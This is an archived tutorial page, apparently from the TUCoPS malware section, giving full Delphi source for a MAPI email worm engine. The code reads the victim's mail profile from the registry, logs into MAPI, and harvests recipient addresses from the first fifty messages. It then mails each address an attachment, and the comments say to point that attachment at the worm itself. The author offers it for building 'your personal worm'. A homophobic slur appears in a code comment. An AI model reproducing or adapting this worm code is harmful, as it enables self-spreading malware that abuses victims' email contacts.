TUCoPS :: Malware :: mapiwrmz.txt

Writing MAPI Worms in C++ and Delphi

program mapiworm;

uses
  Windows, MAPI;

{$R *.RES}

(**************   MAPI Worms in C++ and Delphi   *********************

  I haven't seen much documentation on writing a worm via Win32 HLL's
  so here goes.  Nothing revolutionary, just simple API calls.
  This article is mainly aimed at the beginner, since actually researching
  this shit by hand is a major pain in the ass and time-consuming.

  I'm showing the code in Delphi cause it's a bit easier to read
  and looks nicer than C++.  Code can easily be converted to C in
  about thirty minutes, see Microsoft's MSDN section for a complete
  MAPI C++ example for the syntax.  A ton of code can be snipped before
  inserting into your personal worm.  I figure showing it in "long form"
  to be nice etiquette for an article-specific program.

  This code was tested on NT 4.0, but might need a revision dependent
  upon your OS and how MAPI is setup.  And before you laugh at 20k for
  just the worm engine, I checked AVP's site for MAPI and found some
  very large filesize worms doing moderately well in the wild:

  I-Worm.PrettyPark: http://www.avp.ch/avpve/NewExe/win32/ppark.stm
  I-Worm.ZippedFiles: http://www.avp.ch/avpve/worms/zipped.stm
  I-Worm.WinExt: http://www.avp.ch/avpve/worms/WINEXT.stm
  I-Worm.Plage: http://www.avp.ch/avpve/worms/Plage.stm

  Couple of useful links:

    Info on MAPI hook provider
    http://support.microsoft.com/support/kb/articles/Q224/3/62.ASP

    MAPI Address example
    http://support.microsoft.com/support/kb/articles/Q126/6/58.asp

    ReadMail example
    http://support.microsoft.com/support/kb/articles/Q140/3/37.asp

*)

// Usage: HKEY_CURRENT_USER, 'Software\ImaFaggot', 'GayLesbian'
function regReadString(kRoot: HKEY; sKey, sValue: String): String;
var
  qValue: array[0..1023] of Char;
  DataSize: Integer;
  CurrentKey: HKEY;
begin
  RegOpenKeyEx(kRoot, PChar(sKey), 0, KEY_ALL_ACCESS, CurrentKey);
  Datasize := 1023;
//  RegQueryValueEx(CurrentKey, PChar(sValue), nil, nil, nil, @DataSize);
  RegQueryValueEx(CurrentKey, PChar(sValue), nil, nil, @qValue[0], @DataSize);
  RegCloseKey(CurrentKey);
  Result := String(qValue);
end;

var
	MAPIMessage: TMAPIMessage;
  lppMapiMessage: PMapiMessage;
  Recip, inRecip: TMapiRecipDesc;
  msgFile: TMapiFileDesc;
  MError: Cardinal;
  MapiSession, iMinusOne, i: LongInt;
  bWinNT, bFindFirst: Boolean;
  ProfileName, sAddress, sProfile, sSentMail: String;
  sSeedMessageID, sMessageID: array[0..512] of Char;
 	os: TOSVersionInfo;
begin
	// Which Operating System we on?
	os.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
	GetVersionEx(os);
	bWinNT := (os.dwPlatformId = VER_PLATFORM_WIN32_NT);
  // Grab default profilename from registry
	if (bWinNT) then
    ProfileName := regReadString(HKEY_CURRENT_USER,
      'Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles',
      'DefaultProfile')
	else
    // Standard Windows
    ProfileName := regReadString(HKEY_CURRENT_USER,
      'Software\Microsoft\Windows Messaging Subsystem\Profiles', 'DefaultProfile');

  // Fucking Delphi bug won't allow a -1 to be set
  // within the structure, so we trick it
  iMinusOne := -1;
  // Will hold any previous recipients
  sSentMail := '';

  // Logon to MAPI.  If no workie, get outta here
  try
    MError := MapiLogOn(0, PChar(ProfileName), nil, MAPI_NEW_SESSION, 0, @MapiSession);
    if (MError <> SUCCESS_SUCCESS) then
      Exit;
  except
    ;
  end;

  // Fill in the file structure with our attachment
  with msgFile do
  begin
    ulReserved := 0;
    flFlags := 0;
    nPosition := iMinusOne; // Let Outlook handle the file position
    // Obviously, replace the INI with your worm's path/filename
    lpszPathName := PChar('c:\windows\system.ini');
    lpszFileName := nil;
    lpFileType := nil;
  end;

  bFindFirst := True;

  // Walk through first fifty messages
  for i := 1 to 50 do
  try
    // Keep up with our MessageID
    if (bFindFirst) then
    begin
      sSeedMessageID := '';
      bFindFirst := False;
    end
    else
      sSeedMessageID := sMessageID;

    // Find a message
    // MapiFindNext serves as both a "findfirst/findnext" function, dependent
    // upon if MessageSeed has a value
    MError := MapiFindNext(MapiSession, 0, nil, @sSeedMessageID, 0, 0, @sMessageID);
    if (MError = SUCCESS_SUCCESS) then
    begin
      // Obtain the long pointer
      lppMapiMessage := @MAPIMessage;
      // Open for Reading, headers only (both faster, and avoids
      // writing all the god damned attachments to temp directory)
      MError := MAPIReadMail(MAPISession, 0, @sMessageID,
        MAPI_ENVELOPE_ONLY, 0, lppMapiMessage);
      if (MError = SUCCESS_SUCCESS) and (lppMapiMessage.lpRecips <> nil) then
      begin

        // Sets info about message recipient
      	with Recip do
        begin
        	ulReserved := 0;
          ulRecipClass := MAPI_TO;
          sAddress := 'SMTP:' + lppMapiMessage.lpRecips.lpszAddress;
          lpszAddress := Pchar(sAddress);
          lpszName := lppMapiMessage.lpRecips.lpszName;
      		ulEIDSize := 0;
      		lpEntryID := nil;
        end;

        // Clear out to avoid any leftover setting
        FillChar(MAPIMessage, SizeOf(MAPIMessage), 0);
        // Fill the MapiMessage structure.
        // Unnecessary to expand entire struct, but aesthetically pleasing
        with MapiMessage do
        begin
          ulReserved := 0;
          lpszSubject := PChar('Insert subject for message');
          lpszNoteText := PChar('Message text goes here');
          lpszMessageType := nil;
          lpszDateReceived := nil;
          lpszConversationID := nil;
          flFlags := 0;
          lpOriginator := nil;
          nRecipCount := 1;
          lpRecips := @Recip;
          nFileCount := 1;
          lpFiles := @msgFile;
        end;

        // Send the message
        if (Pos(lppMapiMessage.lpRecips.lpszAddress, sSentMail) = 0) then
        begin
          MError := MapiSendMail(MapiSession, {handle}0, MapiMessage, 0, 0);
          // Store this address, so no duplicate messages are sent
          sSentMail := sSentMail + lppMapiMessage.lpRecips.lpszAddress;
        end;

      end;
    end;
  except
    ; // Process your errors like a man
  end;

  try
    MError := MapiLogOff(MapiSession, 0, 0, 0);
  except
    ;
  end;

end.


TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH